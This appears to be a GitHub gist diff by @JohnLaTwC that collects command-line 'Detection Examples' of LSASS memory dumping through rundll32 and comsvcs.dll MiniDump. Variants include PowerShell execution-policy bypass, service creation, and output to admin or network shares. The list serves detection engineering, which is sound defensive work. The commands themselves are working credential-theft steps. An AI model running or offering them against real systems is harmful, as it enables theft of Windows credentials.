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This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -3,7 +3,7 @@ By @JohnLaTwC References: https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense) https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/ https://twitter.com/SBousseaden/status/1407742041170268166 - Calling MiniDump export by ordinal examples: (comsvcs,#24) Detection Examples: @@ -45,4 +45,10 @@ powershell -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundl powershell -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" powershell.exe -ExecutionPolicy Bypass -C "C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full" cmd.exe /Q /c sc create DumpProc binpath= "rundll32 comsvcs,#24 1204 c:\windows\tmp1654.log full" 1> \\127.0.0.1\ADMIN$\__1622704760.494238 2>&1 rundll32.exe comsvcs.dll,#24 600 C:\Users\user\Desktop\lsass.dmp full sc create DumpProc binpath= "rundll32 comsvcs,#24 1204 c:\windows\tmp.log full" -
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This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,48 @@ By @JohnLaTwC References: https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense) https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/ Detection Examples: "C:\Windows\System32\rundll32.exe" C:\Windows\System32\comsvcs.dll MiniDump <PID> \Windows\Temp\<filename>.dmp full .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\Users\Administrator\<filename>.dmp full "C:\Windows\system32\sc.exe" \\server create Dump binpath= "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump <PID> C:\dump.bin full" "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Users\username\Desktop\<filename>.DMP full "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full} "Powershell" -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>get-process lsass).id C:\Users\username\AppData\Local\Temp\<filename>.dmp full" C:\Windows\system32\cmd.exe /c "echo string >NUL & powershell -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>a C:\Windows\TEMP\string\string\<filename>.dmp full" & exit" C:\Windows\system32\cmd.exe /Q /c echo .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\Users\Administrator\<filename>.dmp full ^> \\127.0.0.1\C$\__output 2^>^&1 > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>get-process lsass).id) C:\Windows\lsass_$(Get-Date -Format dd-MM-hh-mm-ss<filename>dmp full" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoP -C C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).Id \Windows\Temp\<filename>.dmp full;Wait-Process -Id (Get-Process rundll32).id cmd /C "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \\ipv4\pwn\<filename>.dmp full" cmd.exe /Q /c for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full cmd.exe /C cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full cmd.exe /C powershell.exe -NoP -C "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).Id \Windows\Temp\<filename>.dmp full;Wait-Process -Id (Get-Process rundll32).id" cmd.exe /Q /c powershell -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" 1> \\127.0.0.1\ADMIN$\__1111111.1111111 2>&1 cmd.exe /Q /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\<filename>.dmp full 1> \\127.0.0.1\ADMIN$\__1111111.1111111 2>&1 powershell -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>a C:\temp\blabla" powershell -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" powershell.exe -ExecutionPolicy Bypass -C "C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full"